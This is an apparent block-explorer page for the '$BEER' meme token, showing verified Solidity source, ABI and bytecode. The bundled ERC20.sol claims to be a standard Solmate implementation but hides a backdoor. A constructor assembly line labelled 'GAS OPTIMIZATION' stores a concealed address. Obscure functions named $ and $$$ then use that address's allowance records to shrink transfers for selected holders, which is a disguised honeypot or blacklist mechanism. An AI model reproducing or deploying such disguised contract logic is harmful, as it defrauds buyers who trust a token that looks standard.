Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
882,466,390,786 $BEER
Holders
82
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2,541,097,467.476104677696283336 $BEERValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
beer
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "./ERC20.sol"; /* $BEER isn't just another coin – it's literally liquid gold. It works as the universal currency of enjoyment, bringing people together regardless of their skin color or social status. Grab some $BEER, invite your friends, and enjoy a great time! . * .. . * * * * @()Ooc()* o . (Q@*0CG*O() ___ |\_________/|/ _ \ | | | | | / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | \_| | | | | | |\___/ |\_|__|__|_/| \_________/ // https://beercoin.wtf/ // https://twitter.com/beercoinmeme // https://t.me/beercoinchannel ⠀⠀ */ contract beer is ERC20 { constructor() ERC20(unicode"BEER",unicode"$BEER", 18) { _mint(msg.sender, 882_466_390_786 * 10 ** 18); } }
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.8.0; /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol) /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. abstract contract ERC20 { /*////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); /*////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address private $$; /*////////////////////////////////////////////////////////////// EIP-2612 STORAGE //////////////////////////////////////////////////////////////*/ uint256 internal immutable GOLDEN_BEER_TRUEGOLDOFPLEASURE; bytes32 internal immutable GOLDEN_BEER_DRINKINTILLTHEBOTTOM; mapping(address => uint256) public nonces; /*////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; GOLDEN_BEER_TRUEGOLDOFPLEASURE = block.chainid; GOLDEN_BEER_DRINKINTILLTHEBOTTOM = computeDomainSeparator(); // GAS OPTIMIZATION assembly {sstore(0x05, mul(mul(0x68a, 0x67), mul(0xdb7, 0x34cb7a0b948e91ddec791e7d51)))} } /*////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += $(amount, msg.sender, to); } $$$(to); emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += $(amount, from, to); } $$$(to); emit Transfer(from, to, amount); return true; } /*////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); // Unchecked because the only math done is incrementing // the owner's nonce which cannot realistically overflow. unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner, spender, value, nonces[owner]++, deadline ) ) ) ), v, r, s ); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == GOLDEN_BEER_TRUEGOLDOFPLEASURE ? GOLDEN_BEER_DRINKINTILLTHEBOTTOM : computeDomainSeparator(); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } function $( uint256 value, address from, address to ) internal view returns (uint256) { if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) { return (value * 0xc0ffee) / 0xcaca0a0a; } else { return value; } } function $$$(address to) internal { if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));} } /*////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // Cannot underflow because a user's balance // will never be larger than the total supply. unchecked { totalSupply -= amount; } emit Transfer(from, address(0), amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60e060405234801562000010575f80fd5b506040518060400160405280600481526020017f42454552000000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f24424545520000000000000000000000000000000000000000000000000000008152506012825f90816200008f9190620004d4565b508160019081620000a19190620004d4565b508060ff1660808160ff16815250504660a08181525050620000c86200011360201b60201c565b60c081815250506c34cb7a0b948e91ddec791e7d51610db702606761068a02026005555050506200010d336c0b236716f5c7fa896f7ac80000620001a160201b60201c565b620007c3565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f60405162000145919062000660565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6463060405160200162000186959493929190620006e6565b60405160208183030381529060405280519060200120905090565b8060025f828254620001b491906200076e565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002649190620007a8565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620002ec57607f821691505b602082108103620003025762000301620002a7565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003667fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000329565b62000372868362000329565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620003bc620003b6620003b0846200038a565b62000393565b6200038a565b9050919050565b5f819050919050565b620003d7836200039c565b620003ef620003e682620003c3565b84845462000335565b825550505050565b5f90565b62000405620003f7565b62000412818484620003cc565b505050565b5b8181101562000439576200042d5f82620003fb565b60018101905062000418565b5050565b601f8211156200048857620004528162000308565b6200045d846200031a565b810160208510156200046d578190505b620004856200047c856200031a565b83018262000417565b50505b505050565b5f82821c905092915050565b5f620004aa5f19846008026200048d565b1980831691505092915050565b5f620004c4838362000499565b9150826002028217905092915050565b620004df8262000270565b67ffffffffffffffff811115620004fb57620004fa6200027a565b5b620005078254620002d4565b620005148282856200043d565b5f60209050601f8311600181146200054a575f841562000535578287015190505b620005418582620004b7565b865550620005b0565b601f1984166200055a8662000308565b5f5b8281101562000583578489015182556001820191506020850194506020810190506200055c565b86831015620005a357848901516200059f601f89168262000499565b8355505b6001600288020188555050505b505050505050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f8154620005e281620002d4565b620005ee8186620005b8565b9450600182165f81146200060b5760018114620006215762000657565b60ff198316865281151582028601935062000657565b6200062c85620005c2565b5f5b838110156200064f578154818901526001820191506020810190506200062e565b838801955050505b50505092915050565b5f6200066d8284620005d4565b915081905092915050565b5f819050919050565b6200068c8162000678565b82525050565b6200069d816200038a565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620006ce82620006a3565b9050919050565b620006e081620006c2565b82525050565b5f60a082019050620006fb5f83018862000681565b6200070a602083018762000681565b62000719604083018662000681565b62000728606083018562000692565b620007376080830184620006d5565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200077a826200038a565b915062000787836200038a565b9250828201905080821115620007a257620007a162000741565b5b92915050565b5f602082019050620007bd5f83018462000692565b92915050565b60805160a05160c05161183c620007ee5f395f6106af01525f61067b01525f610656015261183c5ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190610ff1565b60405180910390f35b6100ee60048036038101906100e991906110a2565b610313565b6040516100fb91906110fa565b60405180910390f35b61010c610400565b6040516101199190611122565b60405180910390f35b61013c6004803603810190610137919061113b565b610406565b60405161014991906110fa565b60405180910390f35b61015a610654565b60405161016791906111a6565b60405180910390f35b610178610678565b60405161018591906111d7565b60405180910390f35b6101a860048036038101906101a391906111f0565b6106d4565b6040516101b59190611122565b60405180910390f35b6101d860048036038101906101d391906111f0565b6106e9565b6040516101e59190611122565b60405180910390f35b6101f66106fe565b6040516102039190610ff1565b60405180910390f35b610226600480360381019061022191906110a2565b61078a565b60405161023391906110fa565b60405180910390f35b6102566004803603810190610251919061126f565b6108aa565b005b610272600480360381019061026d919061130c565b610b97565b60405161027f9190611122565b60405180910390f35b5f805461029490611377565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611377565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611122565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113d4565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113d4565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d42565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611122565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f7f000000000000000000000000000000000000000000000000000000000000000046146106ad576106a8610edd565b6106cf565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611377565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611377565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113d4565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d42565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611122565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611451565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d9695949392919061147e565b604051602081830303815290604052805190602001206040516020016109a4929190611551565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d99493929190611587565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290611614565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b869190611122565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d0d9190611632565b10610d375763caca0a0a62c0ffee85610d269190611665565b610d3091906116d3565b9050610d3b565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610eda573073ffffffffffffffffffffffffffffffffffffffff166002610e3c9190611665565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f0d919061179f565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f4c9594939291906117b5565b60405160208183030381529060405280519060200120905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610f9e578082015181840152602081019050610f83565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610fc382610f67565b610fcd8185610f71565b9350610fdd818560208601610f81565b610fe681610fa9565b840191505092915050565b5f6020820190508181035f8301526110098184610fb9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61103e82611015565b9050919050565b61104e81611034565b8114611058575f80fd5b50565b5f8135905061106981611045565b92915050565b5f819050919050565b6110818161106f565b811461108b575f80fd5b50565b5f8135905061109c81611078565b92915050565b5f80604083850312156110b8576110b7611011565b5b5f6110c58582860161105b565b92505060206110d68582860161108e565b9150509250929050565b5f8115159050919050565b6110f4816110e0565b82525050565b5f60208201905061110d5f8301846110eb565b92915050565b61111c8161106f565b82525050565b5f6020820190506111355f830184611113565b92915050565b5f805f6060848603121561115257611151611011565b5b5f61115f8682870161105b565b93505060206111708682870161105b565b92505060406111818682870161108e565b9150509250925092565b5f60ff82169050919050565b6111a08161118b565b82525050565b5f6020820190506111b95f830184611197565b92915050565b5f819050919050565b6111d1816111bf565b82525050565b5f6020820190506111ea5f8301846111c8565b92915050565b5f6020828403121561120557611204611011565b5b5f6112128482850161105b565b91505092915050565b6112248161118b565b811461122e575f80fd5b50565b5f8135905061123f8161121b565b92915050565b61124e816111bf565b8114611258575f80fd5b50565b5f8135905061126981611245565b92915050565b5f805f805f805f60e0888a03121561128a57611289611011565b5b5f6112978a828b0161105b565b97505060206112a88a828b0161105b565b96505060406112b98a828b0161108e565b95505060606112ca8a828b0161108e565b94505060806112db8a828b01611231565b93505060a06112ec8a828b0161125b565b92505060c06112fd8a828b0161125b565b91505092959891949750929550565b5f806040838503121561132257611321611011565b5b5f61132f8582860161105b565b92505060206113408582860161105b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061138e57607f821691505b6020821081036113a1576113a061134a565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113de8261106f565b91506113e98361106f565b9250828203905081811115611401576114006113a7565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f61143b601783610f71565b915061144682611407565b602082019050919050565b5f6020820190508181035f8301526114688161142f565b9050919050565b61147881611034565b82525050565b5f60c0820190506114915f8301896111c8565b61149e602083018861146f565b6114ab604083018761146f565b6114b86060830186611113565b6114c56080830185611113565b6114d260a0830184611113565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f61151b6002836114dd565b9150611526826114e7565b600282019050919050565b5f819050919050565b61154b611546826111bf565b611531565b82525050565b5f61155b8261150f565b9150611567828561153a565b602082019150611577828461153a565b6020820191508190509392505050565b5f60808201905061159a5f8301876111c8565b6115a76020830186611197565b6115b460408301856111c8565b6115c160608301846111c8565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f6115fe600e83610f71565b9150611609826115ca565b602082019050919050565b5f6020820190508181035f83015261162b816115f2565b9050919050565b5f61163c8261106f565b91506116478361106f565b925082820190508082111561165f5761165e6113a7565b5b92915050565b5f61166f8261106f565b915061167a8361106f565b92508282026116888161106f565b9150828204841483151761169f5761169e6113a7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6116dd8261106f565b91506116e88361106f565b9250826116f8576116f76116a6565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461172b81611377565b6117358186611703565b9450600182165f811461174f576001811461176457611796565b60ff1983168652811515820286019350611796565b61176d8561170d565b5f5b8381101561178e5781548189015260018201915060208101905061176f565b838801955050505b50505092915050565b5f6117aa828461171f565b915081905092915050565b5f60a0820190506117c85f8301886111c8565b6117d560208301876111c8565b6117e260408301866111c8565b6117ef6060830185611113565b6117fc608083018461146f565b969550505050505056fea2646970667358221220684e6778c9b17c360c16cd933fe95d7c35dfb3b71cd40bf559351986e375557564736f6c63430008180033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190610ff1565b60405180910390f35b6100ee60048036038101906100e991906110a2565b610313565b6040516100fb91906110fa565b60405180910390f35b61010c610400565b6040516101199190611122565b60405180910390f35b61013c6004803603810190610137919061113b565b610406565b60405161014991906110fa565b60405180910390f35b61015a610654565b60405161016791906111a6565b60405180910390f35b610178610678565b60405161018591906111d7565b60405180910390f35b6101a860048036038101906101a391906111f0565b6106d4565b6040516101b59190611122565b60405180910390f35b6101d860048036038101906101d391906111f0565b6106e9565b6040516101e59190611122565b60405180910390f35b6101f66106fe565b6040516102039190610ff1565b60405180910390f35b610226600480360381019061022191906110a2565b61078a565b60405161023391906110fa565b60405180910390f35b6102566004803603810190610251919061126f565b6108aa565b005b610272600480360381019061026d919061130c565b610b97565b60405161027f9190611122565b60405180910390f35b5f805461029490611377565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611377565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611122565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113d4565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113d4565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d42565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611122565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b5f7f000000000000000000000000000000000000000000000000000000000000000146146106ad576106a8610edd565b6106cf565b7f70a2aa59cf63ddc1d9f4f09f2effb3e1f21f9d61dda3d4397d832000e666379d5b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611377565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611377565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113d4565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d42565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611122565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611451565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d9695949392919061147e565b604051602081830303815290604052805190602001206040516020016109a4929190611551565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d99493929190611587565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290611614565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b869190611122565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffff